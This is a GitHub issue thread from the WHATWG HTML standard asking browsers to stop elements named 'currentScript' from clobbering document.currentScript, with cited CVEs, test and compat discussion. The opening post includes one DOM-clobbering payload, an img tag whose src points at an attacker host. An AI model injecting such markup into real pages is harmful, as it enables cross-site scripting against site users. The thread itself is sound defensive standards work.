-
Notifications
You must be signed in to change notification settings - Fork 2.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Prevent currentScript from being overridden on document via name='' #10687
Comments
While I suppose we could add a special case for it in |
|
we use it a lot in PyScript, as scripts there (the only valid data node we could use 'cause Custom Elements won't work the same) might need it, so we need to grab it and forward it to the underlying WASM interpreter. All I am saying is that use cases for it are more common than you think (or measure, as I think you measure only JS code and not WASM related code too). |
This comment was marked as off-topic.
This comment was marked as off-topic.
Looking at MDN: document.currentScript there are no markings of the API being deprecated or obsoleted. This comment is the first I hear about this sentiment. If using Also, using modules is not a drop-in replacement to many projects, but can require extensive code refactoring - so getting developers to migrate is not a quick feat.
In the infosec community, it looks like publishing CVEs based on this In that light, I think it would be worthwhile for WhatWG to tend to this, rather than leaving it to all site developers and the above listed middleware vendors to individually learn about and argue if it's a legitimate thing or not. The downsides seem practically nonexistent? |
I'm not opposed to someone driving this. https://whatwg.org/working-mode#changes describes the rough process. If there is someone willing to take this on (and this can be literally anyone, including everyone who participated in this thread thus far; the WHATWG community consists of everyone who participates in the development of its standards after all) I suppose we could label this issue agenda+ to gauge implementer interest. @whatwg/documentation perhaps it's worthwhile documenting that |
This comment was marked as duplicate.
This comment was marked as duplicate.
I have a little bit of experience for creating WPT tests from the interaction we had before. To get going, I added a WPT test at web-platform-tests/wpt#48536 . Of course to be merged only after implementers agree. |
I tried to search where in the HTML spec the connection of DOM element though that relates to forms, and does not mention the Should the HTML spec acquire some kind of wording about this somewhere? |
Filed implementation bugs at |
Thanks @juj for taking this on! The named getter algorithm for |
Blocklisting only currentScript name would help with this one particular case. But if sites let one to include unsanitized html, one could still override many other features on document, and thus break the page. But it would be great if this could be fixed in some generic way. I think we need first data about how much sites rely on https://html.spec.whatwg.org/multipage/dom.html#dom-document-nameditem |
Yes, that is right. Originally I too asked "let's fix all the cases" in whatwg/dom#1315, but @annevk pointed out such a request was duplicate of #2212 , which
Well, yes, after I saw this behavior: me too. I've been developing HTML/JS for well more than a decade and only learned about this behavior this week. When I did, I also expected that browsers would have sane behavior out of the box, i.e. that they would not allow Given that the CVEs keep on coming, it does not seem that asking developers to sanitize would be the best approach (there will always be some who fail to do it, just like browser vendors have failed here), since it means that every developer has to learn about this issue independently, making it harder to write safe code out of the box.
I think this makes the problem more pertinent to solve, instead of diminishing/dismissing the trouble. Enough is enough?
When I look at the CVEs, they all hinge on this one pattern that
That is correct. In emscripten-core/emscripten#22688 (comment) I examined all the various ways that Emscripten content for example could be broken by using other names. But when looking at all the other names, there does not seem to exist a good way to escalate attack vectors. That is, the DOM clobering attack privilege fizzles to a Denial of Service attack, which is arguably a lesser problem than a XSS scripting attack, which all seems to revolve around |
I think it's worth investigating if it's possible to change this so that standard properties on To that end I queried httparchive to see which pages trigger the Findings: There are 197 matching pages in the httparchive dataset (total number of pages is 12,098,307). The name/id values and the number of pages with that value:
See https://github.com/zcorpan/document-clobbering-props for the methodology (I used chatgpt to help write the scripts) and https://github.com/zcorpan/document-clobbering-props/blob/main/results_categorized.csv for further compat analysis of individual pages. For example, for pages that have |
What is the issue with the HTML Standard?
It has been reported that an attacker that has DOM clobbering powers (weak), can potentially escalate it to XSS attack (stronger).
Several public CVEs have been reported, e.g.
https://vulert.com/vuln-db/CVE-2024-45389
GHSA-gcx4-mw62-g8wm
https://nvd.nist.gov/vuln/detail/CVE-2024-45812
GHSA-4vvj-4cpr-p986
These all revolve around the fact that
That is, if attacker has the power to inject a DOM element with
name='currentScript'
(like add an image in a forum in an unsafely implemented manner), and if the site then usesdocument.currentScript.src
to infer what the path to the current script is, to load another script relative to it, an attacker has the capability to elevate their DOM clobber into a XSS opportunity.I raised this in whatwg/dom#1315 where it was closed as duplicate of #2212.
The ticket #2212 discussed a general opt-out solution, though it feels that a) a solution to this security aspect should not be opt-out, and b) dealing with the specific pattern of
document.currentScript
alone would be worth it, as that would plug that whole class of CVEs linked above from being able to occur.Progress in #2212 has been slow due to concerns of site breakage. I think it would be safe to argue that preventing
<img name='currentScript' src='http://bad.attacker.site.com/foo.js'>
from overwritingdocument.currentScript
, i.e. handling the overwrite ofname='currentScript'
alone should not have these backwards compatibility concerns of site breakage, and would be possible to be undertaken separately from #2212, which is currently in the progress of acquiring user statistics?Reading the linked CVEs, it looks like that would cover all the CVEs above, and stop any future CVEs from this category from being possible. It would also prevent weird interactions in downstream libraries, like emscripten-core/emscripten#22688, from needing to take place.
Would it be ok to blacklist
name='currentScript'
on its own from replacingdocument.currentScript
? What do you think?The text was updated successfully, but these errors were encountered: